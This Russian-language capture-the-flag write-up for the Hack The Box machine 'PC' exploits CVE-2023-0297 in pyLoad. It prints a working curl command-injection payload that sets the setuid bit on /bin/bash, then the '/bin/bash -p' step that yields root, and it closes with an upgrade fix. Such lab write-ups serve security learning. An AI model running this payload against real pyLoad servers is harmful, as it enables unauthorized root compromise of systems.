В этой небольшой статье, в рамках прохождения уязвимой виртуальной машины PC с площадки Hack The Box, я покажу эксплуатацию уязвимости менеджера загрузок pyLoad.
Еще по теме: Эксплуатация уязвимости f-строки в Python
Эксплуатация уязвимости CVE-2023-0297 в pyLoad
Обращаемся к сайту через браузер.
Перед нами pyLoad. Это бесплатный менеджер загрузок с открытым исходным кодом на Python. Инструмент позволяет загружать файлы из различных источников, таких как файлообменники, торренты и другие.
Первым делом стоит поискать свежие уязвимости для него. И поиск выводит нас на CVE-2023-0297. Уязвимость позволяет выполнить удаленное выполнение кода. Она была обнаружена в январе 2023 года и имеет высокий уровень опасности (9.8 из 10).
Затронутые версии этого пакета уязвимы перед инъекцией команд ОС, так как приложение передает данные из пользовательского ввода в pyimport. А поиск эксплоитов на GitHub приводит к репозиторию, где описан PoC для получения RCE.
Поменяем запрос на нужный нам, а вместо того, чтобы создавать файл с помощью touch, попробуем назначить S-бит программе /bin/bash.
1 |
curl -i -s -k -XPOST --data-binary 'jk=pyimport%20os;os.system("chmod%20u%2bs%20/bin/bash");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' 'http://127.0.0.1:8000/flash/addcrypted2' |
Запрос с полезной нагрузкой:
Затем проверяем права на файл командной оболочки /bin/bash и обнаруживаем, что S-бит выставлен, а значит, у нас вышло проэксплуатировать уязвимость и получить рут.
Права на файл /bin/bash:
Когда у файла установлен атрибут setuid (S-атрибут), простой пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения прав приложение может выполнять задачи, которые недоступны простому пользователю. Из‑за возможности состояния гонки многие ОС игнорируют S-атрибут, установленный shell-скриптам.
1 |
/bin/bash -p |
Машина захвачена.
Защита от уязвимости
Для исправления уязвимости CVE-2023-0297 в PyLoad необходимо обновить версию до 0.5.0b3.dev31 или выше.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Атака на API веб‑приложения Django
- Взлом соленого пароля методом брутфорс
- Захват Active Directory на виртуальной машине с HackTheBox